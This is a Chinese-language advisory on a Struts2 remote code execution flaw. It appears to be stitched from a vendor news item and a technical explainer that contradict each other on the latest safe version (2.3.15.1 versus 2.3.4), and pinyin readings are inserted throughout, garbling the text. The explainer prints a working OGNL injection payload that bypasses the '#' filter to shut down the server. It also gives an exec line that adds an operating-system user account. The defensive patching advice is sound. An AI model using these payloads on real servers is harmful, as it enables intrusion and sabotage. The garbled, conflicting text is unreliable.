Struts2被曝存在重大遠(yuǎn)程任意代碼執(zhí)行安全漏洞,影響Struts2全系版本。而對(duì)于此次堪比棱鏡事件的危害,安全寶指出,眾多大型互聯(lián)網(wǎng)廠(chǎng)商均存在該漏洞,且影響廠(chǎng)商仍在擴(kuò)大之中。同時(shí)漏洞利用代碼已經(jīng)被強(qiáng)化,可直接通過(guò)瀏覽器的提交對(duì)服務(wù)器進(jìn)行任意操作并獲取敏感內(nèi)容。目前安全寶用戶(hù)暫可高枕無(wú)憂(yōu)。同時(shí)也建議使用Struts開(kāi)源架構(gòu)的網(wǎng)站用戶(hù)盡快加入安全寶云體系,以保護(hù)網(wǎng)站免受漏洞的威脅。
據(jù)悉,Struts2漏洞由網(wǎng)安全寶在昨日率先攔截到其攻擊,漏洞涉及Struts2.0及以上的版本,是一個(gè)遠(yuǎn)程命令執(zhí)行漏洞和開(kāi)放重定向漏洞。利用漏洞,黑客可發(fā)起遠(yuǎn)程攻擊,不但可以竊取網(wǎng)站數(shù)據(jù)信息,甚至還可取得網(wǎng)站服務(wù)器控制權(quán)。而且,目前針對(duì)此漏洞的自動(dòng)化工具開(kāi)始出現(xiàn),攻擊者無(wú)需具備與漏洞相關(guān)的專(zhuān)業(yè)知識(shí)即可侵入服務(wù)器,直接執(zhí)行命令操作,盜取數(shù)據(jù)甚至進(jìn)行毀滅性操作。
安全寶聯(lián)合產(chǎn)品副總裁吳翰清指出:“Struts2是一個(gè)幫助java開(kāi)發(fā)者利用j2ee開(kāi)發(fā)Web應(yīng)用的開(kāi)發(fā)框架,作為網(wǎng)站開(kāi)發(fā)的底層通用模板,在大型互聯(lián)網(wǎng)企業(yè)、政府、金融機(jī)構(gòu)等網(wǎng)站建設(shè)中應(yīng)用廣泛。因此,此次Struts 2遠(yuǎn)程執(zhí)行漏洞,將會(huì)威脅很多規(guī)模型網(wǎng)站。如今,開(kāi)源架構(gòu)下漏洞頻頻爆出,并且大多屬于突發(fā)性威脅、爆發(fā)迅速快、波及范圍廣,這警示網(wǎng)站安全必須由一次性維護(hù)轉(zhuǎn)向即時(shí)關(guān)注,以應(yīng)對(duì)層出不窮的網(wǎng)站安全威脅。”
為了防范攻擊者可能利用此漏洞發(fā)起的攻擊,安全寶提醒廣大網(wǎng)站管理員,應(yīng)該盡快采取如下措施:
1、DNSPOD的用戶(hù)直在DNSPOD域名管理列表中開(kāi)啟安全中心,即可一鍵防御攻擊。
2 、從Struts2的官方網(wǎng)站下載最新的補(bǔ)丁程序,并盡快將Struts 2升級(jí)到最新的2.3.15.1版本,避免遭遇嚴(yán)重的安全攻擊(下載地址http://struts.apache.org/download.cgi#struts23151)。鑒于Struts 2至今為止已經(jīng)多次曝出嚴(yán)重的高危漏洞,如果不是必要,建議開(kāi)發(fā)者以后考慮采用其它類(lèi)似的Java開(kāi)發(fā)框架。
1、原理
Struts2的核心是使用的webwork框架,處理 action時(shí)通過(guò)調(diào)用底層的getter/setter方法來(lái)處理http的參數(shù),它將每個(gè)http參數(shù)聲明為一個(gè)ONGL(這里是ONGL的介紹)語(yǔ)句。當(dāng)我們提交一個(gè)http參數(shù):
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL將它轉(zhuǎn)換為:
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
這是通過(guò)ParametersInterceptor(參數(shù)過(guò)濾器)來(lái)執(zhí)行的,使用用戶(hù)提供的HTTP參數(shù)調(diào)用 ValueStack.setValue()。
為了防范篡改服務(wù)器端對(duì)象,XWork的ParametersInterceptor不允許參數(shù)名中出現(xiàn)“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻擊者就可以繞過(guò)保護(hù),修改保護(hù)Java方式執(zhí)行的值:
此處代碼有破壞性,請(qǐng)?jiān)跍y(cè)試環(huán)境執(zhí)行,嚴(yán)禁用此種方法進(jìn)行惡意攻擊
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
轉(zhuǎn)義后是這樣:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL處理時(shí)最終的結(jié)果就是
java.lang.Runtime.getRuntime().exit(1); //關(guān)閉程序,即將web程序關(guān)閉
類(lèi)似的可以執(zhí)行
java.lang.Runtime.getRuntime().exec("net user 用戶(hù)名 密碼 /add");//增加操作系統(tǒng)用戶(hù),在有權(quán)限的情況下能成功(在URL中用%20替換空格,%2F替換/)
只要有權(quán)限就可以執(zhí)行任何DOS命令。
2、解決方法
網(wǎng)上很多文章都介紹了三種解決方法,個(gè)人覺(jué)得將struts2的jar包更新到最新版本最簡(jiǎn)單,不用更改任何程序代碼,目前最新版本2.3.4
下載到的更新包中有很多jar包,我系統(tǒng)中主要用到以下幾個(gè)替換掉舊版本的:
commons-lang3-3.1.jar (保留commons-lang-2.6.jar)
javassist-3.11.0.GA.jar (新加包)
ognl-3.0.5.jar (替換舊版本)
struts2-core-2.3.4.1.jar (替換舊版本)
xwork-core-2.3.4.1.jar (替換舊版本)